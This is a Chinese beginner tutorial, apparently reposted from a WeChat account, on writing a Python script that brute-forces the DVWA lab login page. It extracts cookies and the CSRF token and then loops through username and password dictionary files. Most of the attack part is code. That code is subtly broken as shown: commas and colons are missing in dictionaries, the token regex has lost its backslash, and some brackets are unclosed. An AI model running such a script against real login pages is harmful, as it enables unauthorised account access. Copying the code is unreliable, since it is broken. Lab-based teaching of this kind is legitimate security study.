小白入门详解脚本编写实现简单登录爆破

admin 2024年12月10日17:42:12评论6 views字数 6251阅读20分50秒阅读模式

我对代码创造方面想象力丰富这是我最大的特点,下面我闲着没事就随便写了一个,非常简单的一个脚本

实验环境DVWA登录页面

小白入门详解脚本编写实现简单登录爆破
image-20210817105607225

手动测试他的登录机制

可以用burp进行抓包查看他的请求和响应

下面这个是他的首次请求的内容,请求数据包

小白入门详解脚本编写实现简单登录爆破
image-20210817110050593

第二次请求的时候发现他都有Cookie了

小白入门详解脚本编写实现简单登录爆破
image-20210817110332978

发现这个Cookie是第一次请求的时候他返回给客户端的,说明是服务器给的Cookie,基本上都是服务器给的

小白入门详解脚本编写实现简单登录爆破
image-20210817110545865

手动登录查看一下请求,发现有一个给登录着的随机数,如果随机数不正确的话,肯定是登录不了的

小白入门详解脚本编写实现简单登录爆破
image-20210817110909356

找随机数的来源,发现他是上一次请求响应的时候服务器给的

小白入门详解脚本编写实现简单登录爆破
image-20210817111225514

脚步的编写

获取登录的Cookie

用python的会话维持,获得Cookie,不要会话维持就像两个浏览器访问一样到下次Cookie是不一样的

import requests

# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.84.58/login.php')

# cookies方法输出获取请求后的cookies信息  用items()方法将其转化为元组组成的列表
getcookies = ask.cookies.items()

# 输出cookies
print(getcookies)

结果

[('PHPSESSID', 'b8lt4lvnr71cdosi1280vdceu4'), ('security', 'low')]

我们可以用指定输出列表

import requests


# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.84.58/login.php')

#  用items()方法将其转化为元组组成的列表
getcookies = ask.cookies.items()

# 输出cookies
print(getcookies[0][0])
print(getcookies[0][1])
print(getcookies[1][0])
print(getcookies[1][1])

结果,可以看见cookies获取到了

PHPSESSID
omhihkt4k2iae7ujgbl1q0dht6
security
low
小白入门详解脚本编写实现简单登录爆破
image-20210817113306875

获得随机数

应为随机数是在请求的响应的数据比分里面只能用正则表达式来获取

正则表达式写错w{32}就可以匹配到了,他的意思是字母数字及下划线有连续的32个

小白入门详解脚本编写实现简单登录爆破
image-20210817120046312

代码这样写

import re
import requests

# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.84.58/login.php')

# findall()他会获得表达式里面的全部内容
# ask.text获得响应的数据的内容
x =re.findall('w{32}',ask.text)

# 输出
print(x[0])

结果

44c9b688a6d79d94727744f97e2108c0

POST请求模拟登录

上面的cookies和随机数都已经得到了就可以破解了

我们就可以编写一个post请求

查看他的请求内容

小白入门详解脚本编写实现简单登录爆破
image-20210817184829997

post请求数据部分就可以下面这样写

data={
    'username':'xxxx'#用户名的地方
    'password':'xxxx'#用户密码的地方
    'Login':'login',
    'user_token':x[0# 随机数
}

全部代码

import re
import requests

# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.192.58/login.php')


# findall()他会获得表达式里面的全部内容
# ask.text获得响应的数据的内容
x =re.findall('w{32}',ask.text)

data={
    'username':'admin'#用户名的地方
    'password':'password'#用户密码的地方
    'Login':'login',
    'user_token':x[0# 随机数
}

#  用items()方法将其转化为元组组成的列表, 获得随机数
getcookies = ask.cookies.items()



# 叫cookies组合起来
Cookies=getcookies[0][0]+'='+getcookies[0][1]+'; '+getcookies[1][0]+'='+getcookies[1][1]

# 创建请求头
headers = {
    'Cookie':Cookies,
    "User-Agent""Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
}
# POST请求,headers是请求头,data是数据部分
ask=r.post('http://192.168.192.58/login.php',headers=headers,data=data)

判断登录是否成功

在登录失败的时候他会返还Login failed

小白入门详解脚本编写实现简单登录爆破
image-20210817183300074

我们就可以通过判断有没有Login failed来实现

代码

# ask.text是post请求后返回的内容,
# findall()他会获得表达式里面的全部内容,如果有Login failed就匹配到Login failed
failed =re.findall('Login failed',ask.text)

# 应为他返回的是列表,所以判断的也是['Login failed']列表
if failed != ['Login failed']:
    print('登录成功')
else:
    print('破解失败')

全部代码

import re
import requests

# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.192.58/login.php')


# findall()他会获得表达式里面的全部内容
# ask.text获得响应的数据的内容
x =re.findall('w{32}',ask.text)

data={
    'username':'admin'#用户名的地方
    'password':'password'#用户密码的地方
    'Login':'login',
    'user_token':x[0# 随机数
}

#  用items()方法将其转化为元组组成的列表, 获得随机数
getcookies = ask.cookies.items()



# 叫cookies组合起来
Cookies=getcookies[0][0]+'='+getcookies[0][1]+'; '+getcookies[1][0]+'='+getcookies[1][1]

# 创建请求头
headers = {
    'Cookie':Cookies,
    "User-Agent""Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
}

# POST请求,headers是请求头,data是数据部分
ask=r.post('http://192.168.192.58/login.php',headers=headers,data=data)

# ask.text是post请求后返回的内容,
# findall()他会获得表达式里面的全部内容,如果有Login failed就匹配到Login failed
failed =re.findall('Login failed',ask.text)

# 应为他返回的是列表,所以判断的也是['Login failed']列表
if failed != ['Login failed']:
    print('登录成功')  # 内容没有Login failed就是登录成功了
else:
    print('破解失败'# 有就是登录失败了

测试

输入正确的密码

小白入门详解脚本编写实现简单登录爆破
image-20210817191358387

输入错误密码,他就登录失败了说明没有问题

小白入门详解脚本编写实现简单登录爆破
image-20210817191452482

字典破解

这个就是文件的读取进行破解就没有什么好说的了

他的文件

小白入门详解脚本编写实现简单登录爆破
image-20210818214133596

文件内容

小白入门详解脚本编写实现简单登录爆破
image-20210818214211415

破解代码

import re
import requests

# 打开用户字典  errors="ignore"参数是忽略在读取的错误,应为想0xf1这样的就会报错
admin_txt=open("admin.txt",'r',errors="ignore")

def Crack(admin_txt):

    # 用于记录破解次数
    count = 0

    # 用户一行一行获取文件的内容
    for admin in admin_txt:  # 这个循环一次

        # 打开密码字典  errors="ignore"参数是忽略在读取的错误,应为想0xf1这样的就会报错
        password_txt = open("password.txt"'r', errors="ignore")

        # 密码一行一行获取文件的内容
        for password in password_txt: # 这个要叫文件内容循环完

            # 用`Session` 对象维持会话
            r=requests.session()
            # 用Session的get请求
            ask=r.get('http://192.168.31.122/login.php')


            # findall()他会获得表达式里面的全部内容
            # ask.text获得响应的数据的内容
            x =re.findall('w{32}',ask.text)

            data={
                # 应为python读取文件的时候会有换行符,可以用rstrip()方法去掉
                'username':admin.rstrip(),     #字典的用户名
                'password':password.rstrip(),   #字典的用户密码
                'Login':'login',
                'user_token':x[0# 随机数
            }

            #  用items()方法将其转化为元组组成的列表, 获得随机数
            getcookies = ask.cookies.items()



            # 叫cookies组合起来
            Cookies=getcookies[0][0]+'='+getcookies[0][1]+'; '+getcookies[1][0]+'='+getcookies[1][1]

            # 创建请求头
            headers = {
                'Cookie':Cookies,
                "User-Agent""Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
            }

            # POST请求,headers是请求头,data是数据部分
            ask=r.post('http://192.168.31.122/login.php',headers=headers,data=data)

            # ask.text是post请求后返回的内容,
            # findall()他会获得表达式里面的全部内容,如果有Login failed就匹配到Login failed
            failed =re.findall('Login failed',ask.text)

            # 用来计数
            count += 1

            # 应为他返回的是列表,所以判断的也是['Login failed']列表
            if failed != ['Login failed']:

                # 应为python读取文件的时候会有换行符,可以用rstrip()方法去掉
                print(str(count)+'破解成功:用户名'+admin.rstrip()+'密码'+password.rstrip())

                # 关闭文件
                admin_txt.close()
                password_txt.close()
                return
            else:
                # 应为python读取文件的时候会有换行符,可以用rstrip()方法去掉
                print(str(count)+admin.rstrip()+password.rstrip())

        # 关闭文件
        password_txt.close()

# 调用函数
Crack(admin_txt)

结果

小白入门详解脚本编写实现简单登录爆破
image-20210818214248118

小白入门详解脚本编写实现简单登录爆破

原文始发于微信公众号(W啥都学):小白入门详解脚本编写实现简单登录爆破

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月10日17:42:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   小白入门详解脚本编写实现简单登录爆破https://cn-sec.com/archives/1934620.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息